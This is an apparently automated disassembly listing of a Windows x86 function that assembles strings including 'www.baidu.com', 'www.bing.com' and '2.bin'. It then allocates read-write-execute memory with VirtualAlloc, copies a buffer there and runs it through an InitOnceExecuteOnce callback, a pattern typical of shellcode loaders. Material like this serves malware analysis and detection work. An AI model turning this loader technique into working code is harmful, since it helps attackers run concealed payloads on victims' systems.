Function at 0x4018f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3bc
mov eax, dword [0x41007c]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004011d0
push str.www.baidu.com
lea ecx, [ebp - 0x1c8]
call fcn.00402060
push str.www.bing.com
lea ecx, [ebp - 0x18c]
call fcn.00402060
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x1e8], 0
push 0x40e234
lea ecx, [ebp - 0x280]
call fcn.00402060
push 0x40e238
lea ecx, [ebp - 0x224]
call fcn.00402060
push 0x40e23c
lea ecx, [ebp - 0x1e4]
call fcn.00402060
call fcn.004011a0
push 0x40e240
lea ecx, [ebp - 0x244]
call fcn.00402060
push 0x40e244
lea ecx, [ebp - 0x264]
call fcn.00402060
push 0x40e248
lea ecx, [ebp - 0x1ac]
call fcn.00402060
push 0x40e24c
lea ecx, [ebp - 0x39c]
call fcn.00402060
push str.2.bin
lea ecx, [ebp - 0x380]
call fcn.00402060
lea eax, [ebp - 0x380]
push eax
push str._..._:
lea ecx, [ebp - 0x39c]
push ecx
push 0x40e25c
lea edx, [ebp - 0x1ac]
push edx
push 0x40e260
lea eax, [ebp - 0x264]
push eax
push 0x40e264
lea ecx, [ebp - 0x244]
push ecx
push 0x40e268
lea edx, [ebp - 0x1e4]
push edx
push 0x40e26c
lea eax, [ebp - 0x224]
push eax
push 0x40e270
lea ecx, [ebp - 0x280]
push ecx
lea edx, [ebp - 0x20]
push edx
call fcn.00402b70
add esp, 0xc
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00402c30
add esp, 0xc
push eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.00402c70
add esp, 0xc
push eax
lea edx, [ebp - 0x74]
push edx
call fcn.00402c30
add esp, 0xc
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00402c70
add esp, 0xc
push eax
lea ecx, [ebp - 0xac]
push ecx
call fcn.00402c30
add esp, 0xc
push eax
lea edx, [ebp - 0xc8]
push edx
call fcn.00402c70
add esp, 0xc
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00402c30
add esp, 0xc
push eax
lea ecx, [ebp - 0x100]
push ecx
call fcn.00402c70
add esp, 0xc
push eax
lea edx, [ebp - 0x11c]
push edx
call fcn.00402c30
add esp, 0xc
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.00402c70
add esp, 0xc
push eax
lea ecx, [ebp - 0x154]
push ecx
call fcn.00402c30
add esp, 0xc
push eax
lea edx, [ebp - 0x170]
push edx
call fcn.00402c70
add esp, 0xc
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.00402c30
add esp, 0xc
lea ecx, [ebp - 0x170]
call fcn.00402170
lea ecx, [ebp - 0x154]
call fcn.00402170
lea ecx, [ebp - 0x138]
call fcn.00402170
lea ecx, [ebp - 0x11c]
call fcn.00402170
lea ecx, [ebp - 0x100]
call fcn.00402170
lea ecx, [ebp - 0xe4]
call fcn.00402170
lea ecx, [ebp - 0xc8]
call fcn.00402170
lea ecx, [ebp - 0xac]
call fcn.00402170
lea ecx, [ebp - 0x90]
call fcn.00402170
lea ecx, [ebp - 0x74]
call fcn.00402170
lea ecx, [ebp - 0x58]
call fcn.00402170
lea ecx, [ebp - 0x3c]
call fcn.00402170
lea ecx, [ebp - 0x20]
call fcn.00402170
lea ecx, [ebp - 0x364]
call fcn.004021b0
mov dword [ebp - 0x3b0], eax
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x3b4], ecx
mov edx, dword [ebp - 0x3b4]
mov dword [ebp - 0x3b8], edx
mov eax, dword [ebp - 0x3b0]
mov cl, byte [eax]
mov byte [ebp - 0x3b9], cl
mov edx, dword [ebp - 0x3b4]
mov al, byte [ebp - 0x3b9]
mov byte [edx], al
mov ecx, dword [ebp - 0x3b0]
add ecx, 1
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x3b4]
add edx, 1
mov dword [ebp - 0x3b4], edx
cmp byte [ebp - 0x3b9], 0
jne 0x401b9b
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x248]
push ecx
mov edx, dword [ebp - 0x3b8]
push edx
call fcn.00401440
add esp, 0xc
push 0x40
push 0x1000
mov eax, dword [ebp - 0x1e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x190], eax
mov ecx, dword [ebp - 0x1e8]
push ecx
mov edx, dword [ebp - 0x248]
push edx
mov eax, dword [ebp - 0x190]
push eax
call fcn.00408050
add esp, 0xc
mov dword [ebp - 0x228], 0
lea ecx, [ebp - 0x190]
push ecx
push 0
mov edx, dword [ebp - 0x190]
push edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
mov ecx, dword [ebp - 0x248]
mov dword [ebp - 0x3a0], ecx
mov edx, dword [ebp - 0x3a0]
push edx
call fcn.004034f2
add esp, 4
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x3a4], 0xffffffff
lea ecx, [ebp - 0x364]
call fcn.00402170
lea ecx, [ebp - 0x380]
call fcn.00402170
lea ecx, [ebp - 0x39c]
call fcn.00402170
lea ecx, [ebp - 0x1ac]
call fcn.00402170
lea ecx, [ebp - 0x264]
call fcn.00402170
lea ecx, [ebp - 0x244]
call fcn.00402170
lea ecx, [ebp - 0x1e4]
call fcn.00402170
lea ecx, [ebp - 0x224]
call fcn.00402170
lea ecx, [ebp - 0x280]
call fcn.00402170
lea ecx, [ebp - 0x18c]
call fcn.00402170
lea ecx, [ebp - 0x1c8]
call fcn.00402170
mov eax, dword [ebp - 0x3a4]
jmp 0x401e9d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402eef
mov esp, ebp
pop ebp
ret 0x10